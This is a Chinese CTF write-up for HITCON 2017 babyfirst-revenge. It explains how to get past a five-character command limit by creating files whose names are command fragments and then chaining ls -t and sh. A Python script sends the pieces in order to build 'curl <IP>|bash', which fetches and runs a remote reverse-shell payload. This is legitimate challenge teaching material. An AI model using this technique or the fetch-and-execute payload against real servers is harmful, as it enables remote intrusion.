从一道ctf题目学到的绕过长度执行命令姿势
字数 782 2025-08-27 12:33:31

绕过长度限制执行命令的技巧与实战

0x01 Linux中的文件操作符号

> 符号

  • 用于创建文件或覆盖写入内容
>test.txt  # 创建空文件test.txt
echo "hello world" > test  # 将"hello world"写入test文件(覆盖原有内容)

>> 符号

  • 用于追加内容到文件末尾
echo "aaa" > test
echo "bbb" >> test  # 在test文件末尾追加"bbb"

0x02 Linux命令换行技巧

在Linux中,可以使用反斜杠\将一条命令分成多行书写:

ec\
ho \
hello \
world!

当使用sh执行包含这种格式的文件时,会将其视为一条完整命令执行。

0x03 ls -t命令的特殊用途

ls -t命令可以按时间顺序列出文件,最新创建的文件排在前面:

touch a
touch b
touch c
ls -t  # 输出顺序为c b a(假设按此顺序创建)

0x04 组合技巧绕过长度限制

核心思路

  1. 将长命令拆分为多个短命令片段
  2. 将这些片段作为文件名创建文件
  3. 使用ls -t > script按时间顺序将文件名写入脚本文件
  4. 执行生成的脚本文件

示例:执行echo hello world

> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _  # 生成脚本文件
sh _       # 执行脚本

注意:需要使用两个反斜杠\\来正确转义换行符。

0x05 CTF实战应用 - HITCON 2017 babyfirst-revenge

题目限制

  • 命令长度限制为5个字符
  • 需要反弹shell但直接构造命令过长

解决方案

  1. 将反弹shell命令放在远程服务器上
  2. 构造curl IP|bash命令来获取并执行

分步构造

第一步:生成ls -t > y脚本

>ls\\
ls>t\\
>\>y
ls>>_

第二步:构造curl 120.79.33.253|bash

>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\

执行流程

  1. 执行sh _生成文件y
  2. 执行sh y获取并执行远程命令

Python自动化脚本

import requests

baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)

# 将ls -t 写入文件
_list = [
    ">ls\\",
    "ls>t\\",
    ">\>y",
    "ls>>_"
]

# curl 120.79.33.253|bash
list2 = [
    ">bash",
    ">\|\\",
    ">53\\",
    ">2\\",
    ">3.\\",
    ">3\\",
    ">9.\\",
    ">7\\",
    ">0.\\",
    ">12\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]

for i in _list:
    url = baseurl + str(i)
    s.get(url)

for j in list2:
    url = baseurl + str(j)
    s.get(url)

s.get(baseurl + "sh _")  # 生成y文件
s.get(baseurl + "sh y")  # 执行反弹shell

关键点总结

  1. 文件操作符号>>>的区别及使用场景
  2. 命令换行:使用\实现多行命令书写
  3. 时间排序ls -t按时间顺序排列文件的特性
  4. 组合技巧:通过创建特定文件名并排序生成可执行脚本
  5. 转义处理:使用双反斜杠\\正确转义换行符
  6. 实战应用:在CTF中通过分阶段构造最终实现命令执行

这些技巧在命令长度受限的环境中特别有用,可以绕过严格的长度限制执行任意命令。

绕过长度限制执行命令的技巧与实战 0x01 Linux中的文件操作符号 > 符号 用于创建文件或覆盖写入内容 >> 符号 用于追加内容到文件末尾 0x02 Linux命令换行技巧 在Linux中,可以使用反斜杠 \ 将一条命令分成多行书写: 当使用 sh 执行包含这种格式的文件时,会将其视为一条完整命令执行。 0x03 ls -t命令的特殊用途 ls -t 命令可以按时间顺序列出文件,最新创建的文件排在前面: 0x04 组合技巧绕过长度限制 核心思路 将长命令拆分为多个短命令片段 将这些片段作为文件名创建文件 使用 ls -t > script 按时间顺序将文件名写入脚本文件 执行生成的脚本文件 示例:执行 echo hello world 注意 :需要使用两个反斜杠 \\ 来正确转义换行符。 0x05 CTF实战应用 - HITCON 2017 babyfirst-revenge 题目限制 命令长度限制为5个字符 需要反弹shell但直接构造命令过长 解决方案 将反弹shell命令放在远程服务器上 构造 curl IP|bash 命令来获取并执行 分步构造 第一步:生成 ls -t > y 脚本 第二步:构造 curl 120.79.33.253|bash 执行流程 执行 sh _ 生成文件y 执行 sh y 获取并执行远程命令 Python自动化脚本 关键点总结 文件操作符号 : > 和 >> 的区别及使用场景 命令换行 :使用 \ 实现多行命令书写 时间排序 : ls -t 按时间顺序排列文件的特性 组合技巧 :通过创建特定文件名并排序生成可执行脚本 转义处理 :使用双反斜杠 \\ 正确转义换行符 实战应用 :在CTF中通过分阶段构造最终实现命令执行 这些技巧在命令长度受限的环境中特别有用,可以绕过严格的长度限制执行任意命令。